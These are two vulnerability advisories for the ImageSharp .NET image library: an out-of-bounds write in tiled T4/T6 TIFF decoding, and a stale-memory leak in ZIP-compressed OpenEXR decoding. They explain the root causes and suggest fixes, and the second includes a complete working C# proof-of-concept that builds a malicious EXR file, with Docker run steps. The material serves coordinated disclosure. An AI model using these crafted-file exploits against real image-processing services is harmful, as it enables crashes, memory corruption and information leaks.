Summary

When decoding a tiled TIFF with fax compression (T4/T6/MH), DecodeTilesChunky allocates each tile buffer from TileWidth (ceil(TileWidthbpp/8)TileLength bytes) but constructs the fax decompressor with frame.Width: TiffDecompressorsFactory ignores the isTiled/tileWidth/tileHeight parameters entirely. The T4/T6/MH decompressors treat the full image width as the scanline length and advance (and really write, via read-modify-write bit ops) frame.Width bits per row, with no bounds check against the tile buffer. The very first tile therefore writes linearly out of bounds — about ImageWidth/8 bytes per row × TileLength rows into a TileWidth-sized buffer. With ImageWidth=4,000,000, TileWidth=16, TileLength=16 this writes ~2 MB past a 32-byte buffer and kills the process deterministically; a T6 all-white variant advances the bit offset by >512 MB silently, showing an alarm-free heap-corruption window for the same defect. A crafted file fully controls the OOB length per tile and works with perfectly legal per-row run codes (no overlong runs needed).

Verified at commit 5cd4d0d26a82a9549f297a237aea9cf665bddff8 (main; latest release v4.1.0, the supported major).

Details

Root cause: a size mismatch between tile buffer allocation and decompressor width, because the factory drops the tile parameters.

- Allocation: TiffDecoderCore.cs#L792-L794 — bytesPerTileRow = RoundUpToMultipleOfEight(tileWidthbitsPerPixel); tile buffer = bytesPerTileRowtileLength bytes (32 bytes in the PoC) - Mismatch: TiffDecoderCore.cs#L797 — CreateDecompressor<TPixel>(frame.Width, ..., isTiled: true, tileWidth, tileLength) passes the full frame width - Factory drops tile params: TiffDecompressorsFactory.cs#L56-L64 — T4/T6/MH decompressors receive only width (= frame.Width); isTiled/tileWidth/tileHeight ignored - OOB write sink: T4TiffCompression.cs#L69-L119, T6TiffCompression.cs#L76-L108 — per-row advance of this.width bits via BitWriterUtils.WriteBits with no buffer-length check (BitWriterUtils.cs#L51); note TiffDecoderCore.cs:829-831 later reads the buffer in bytesPerTileRow strides, confirming the protocol expects tile-width rows

Attack surface: Image.Load(stream) on an attacker-supplied tiled TIFF (TiffDecoderCore.DecodeImageWithTiles → DecodeTilesChunky). Default configuration; only requirement is a standard tiled TIFF header (TileWidth=16, TileLength=16) + Compression=3 (T4; T6 also constructible).

Suggested remediation: 1. Short-term: when isTiled, construct the T4/T6/MH decompressor with tileWidth (not frame width), or clip row writes to the caller-provided buffer length. 2. Root fix: bound the write side of BitWriterUtils (pass remaining bits), and validate every fax row advance against buffer capacity on both tiled and strip paths. 3. Regression tests: Compression=2/3/4 × tiled with TileWidth < ImageWidth, including a T6 black-pixel row (forces real WriteBit).

PoC

Full PoC posted as the first comment below: Program.cs (driver), poc-tiled-t4.tif (crafted file, ~9.8 KB, base64 inline), README.

1. Build a small console project referencing src/ImageSharp/ImageSharp.csproj and run it against the crafted file (or call Image.Load on it from any host). 2. Observed with ImageWidth=4,000,000, TileWidth=16, TileLength=16, T4 with 400 makeup codes + EOL per row:

tile payload 9642 bytes; rows write ~2,048,000 bytes into a 32-byte buffer Fatal error. System.AccessViolationException: Attempted to read or write protected memory. at SixLabors.ImageSharp.Formats.Tiff.Compression.BitWriterUtils.WriteBits(Span1<Byte>, IntPtr, IntPtr, Byte) at ...T4TiffCompression.WritePixelRun(...) at ...T4TiffCompression.Decompress(...) Aborted (core dumped); exit=134

3. Controls: the same file with Compression=None decodes normally (container is fine); a T6 all-white-rows variant advances >512 MB of bit offset without a real write (silent corruption window) before tripping on a directory-level TileOffsets count check.

Impact

- What it is: out-of-bounds write (CWE-787). For any service decoding untrusted tiled TIFFs: remote, default-configuration, deterministic process crash (DoS), plus a heap OOB write whose per-tile length and row width are attacker-tunable — a potential code-execution surface. This is a vulnerability in the library itself, in scope of your SECURITY.md. - Who is impacted: applications decoding untrusted TIFF with SixLabors.ImageSharp at the current major (verified on main past v4.1.0); tiled + fax-compressed files are the trigger, which ordinary TIFF writers can produce.

---

---

Reported by Kimi Security Team (bug-report@moonshot.ai).

Summary

A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block.

This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared Configuration.Default allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on the host application.

No active exploitation is known.

Affected package and versions

- Package: SixLabors.ImageSharp (NuGet) - Affected published releases: 4.0.0, 4.1.0, and 4.1.1 - Affected range: >= 4.0.0, <= 4.1.1 - Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them. Details

For ZIP/ZIPS EXR compression, ExrDecoderCore allocates the expected block buffer without AllocationOptions.Clean and later interprets the complete buffer as channel data. ZipExrCompression accepts a partial but non-empty inflate result: UndoZipCompression rejects only totalRead == 0.

Only the returned prefix is reconstructed and interleaved into the destination block. The remaining bytes retain allocator contents from a completed prior operation. ExrDecoderCore then converts those bytes into returned image pixels.

Reproduction

The attached Docker PoC uses the published SixLabors.ImageSharp NuGet package version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that contains the test value 0.27182817. It then decodes a separate crafted 256x1 FLOAT/ZIPS EXR.

The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output.

sh docker build -t imagesharp-4q3p-poc . docker run --rm imagesharp-4q3p-poc exploit docker run --rm imagesharp-4q3p-poc control

Test environment: Docker with mcr.microsoft.com/dotnet/sdk:8.0, .NET SDK 8.0.424 / .NET 8, Debian 12, Linux ARM64.

Observed output:

text imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=exploit prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=True first-prior-value-pixel=4

imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=control prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=False first-prior-value-pixel=-1

Suggested remediation

Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes.

Complete PoC files

Program.cs:

csharp using System.Buffers.Binary; using System.Globalization; using System.IO.Compression; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Formats.Exr; using SixLabors.ImageSharp.Formats.Exr.Constants; using SixLabors.ImageSharp.PixelFormats;

// This performs two independent completed ImageSharp operations in one process. // The first is a valid EXR encoding containing a test value. The second is a // malformed EXR decode whose short ZIP result exposes that value from the // allocator shared through Configuration.Default. internal static class Program { private const int PriorWidth = 64; private const int AttackerWidth = 256; private const float PriorValue = 0.271828182f;

private static int Main(string[] args) { bool exploit = args.Length == 0 || args[0] == "exploit"; if (args.Length > 0 && args[0] is not ("exploit" or "control")) { Console.Error.WriteLine("usage: final-4q3p [exploit|control]"); return 2; }

Assembly imageSharp = typeof(Image).Assembly; string informationalVersion = imageSharp .GetCustomAttribute<AssemblyInformationalVersionAttribute>()? .InformationalVersion ?? "(missing)"; Console.WriteLine($"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}"); Console.WriteLine($"mode={(exploit ? "exploit" : "control")}");

EncodePriorOperation();

// Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024 // uncompressed bytes. The control payload supplies all 1024 bytes. // The exploit payload supplies eight non-empty bytes. byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth sizeof(float)); using Image<RgbaVector> result = Image.Load<RgbaVector>( new DecoderOptions { Configuration = Configuration.Default }, new MemoryStream(exr));

result.DangerousTryGetSinglePixelMemory(out Memory<RgbaVector> memory); int firstLeak = FindPriorValue(memory.Span);

Console.WriteLine($"prior-value={PriorValue.ToString("R", CultureInfo.InvariantCulture)}"); Console.WriteLine($"leaked={firstLeak >= 0} first-prior-value-pixel={firstLeak}");

if ((firstLeak >= 0) != exploit) { Console.Error.WriteLine("unexpected disclosure result"); return 1; }

return 0; }

private static void EncodePriorOperation() { using var previousImage = new Image<RgbaVector>(PriorWidth, 1); for (int x = 0; x < PriorWidth; x++) { previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f); }

using var encoded = new MemoryStream(); previousImage.Save(encoded, new ExrEncoder { Compression = ExrCompression.Zips, PixelType = ExrPixelType.Float, });

Console.WriteLine($"prior-operation=valid-exr-encode-completed bytes={encoded.Length}"); }

private static int FindPriorValue(ReadOnlySpan<RgbaVector> pixels) { int expectedBits = BitConverter.SingleToInt32Bits(PriorValue); for (int x = 0; x < pixels.Length; x++) { if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits) { return x; } }

return -1; }

private static byte[] BuildAttackerExr(int inflatedBytes) { byte[] compressed = ZlibCompress(new byte[inflatedBytes]); using var output = new MemoryStream(); using var writer = new BinaryWriter(output);

writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic writer.Write((byte)2); writer.Write(new byte[] { 0, 0, 0 });

using (var channels = new MemoryStream()) using (var channelWriter = new BinaryWriter(channels)) { WriteString(channelWriter, "R"); channelWriter.Write(2); // FLOAT channelWriter.Write((byte)0); channelWriter.Write(new byte[] { 0, 0, 0 }); channelWriter.Write(1); channelWriter.Write(1); channelWriter.Write((byte)0); WriteAttribute(writer, "channels", "chlist", channels.ToArray()); }

WriteAttribute(writer, "compression", "compression", new byte[] { 2 }); // ZIPS WriteBox(writer, "dataWindow"); WriteBox(writer, "displayWindow"); WriteAttribute(writer, "lineOrder", "lineOrder", new byte[] { 0 });

byte[] one = new byte[4]; BinaryPrimitives.WriteSingleLittleEndian(one, 1F); WriteAttribute(writer, "pixelAspectRatio", "float", one); WriteAttribute(writer, "screenWindowCenter", "v2f", new byte[8]); WriteAttribute(writer, "screenWindowWidth", "float", one); writer.Write((byte)0); // end of header

long chunkOffset = output.Position + sizeof(ulong); writer.Write((ulong)chunkOffset); writer.Write((uint)0); // scanline writer.Write((uint)compressed.Length); writer.Write(compressed); writer.Flush(); return output.ToArray(); }

private static void WriteBox(BinaryWriter writer, string name) { using var value = new MemoryStream(); using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true)) { box.Write(0); box.Write(0); box.Write(AttackerWidth - 1); box.Write(0); }

WriteAttribute(writer, name, "box2i", value.ToArray()); }

private static byte[] ZlibCompress(byte[] source) { using var compressed = new MemoryStream(); using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true)) { zlib.Write(source, 0, source.Length); }

return compressed.ToArray(); }

private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value) { WriteString(writer, name); WriteString(writer, type); writer.Write(value.Length); writer.Write(value); }

private static void WriteString(BinaryWriter writer, string value) { writer.Write(Encoding.ASCII.GetBytes(value)); writer.Write((byte)0); } }

Project file:

xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <Nullable>enable</Nullable> <ImplicitUsings>enable</ImplicitUsings> </PropertyGroup> <ItemGroup> <PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /> </ItemGroup> </Project>

Dockerfile:

dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0

WORKDIR /poc COPY final-4q3p.csproj Program.cs ./

Debug is intentional: ImageSharp 4.1.1's package build target reports a missing-license warning rather than an error in this configuration. The program is still compiled against the published 4.1.1 NuGet assembly. RUN dotnet restore && dotnet build -c Debug --no-restore

ENTRYPOINT ["dotnet", "bin/Debug/net8.0/final-4q3p.dll"]

Run:

sh docker build -t imagesharp-4q3p-poc . docker run --rm imagesharp-4q3p-poc exploit docker run --rm imagesharp-4q3p-poc control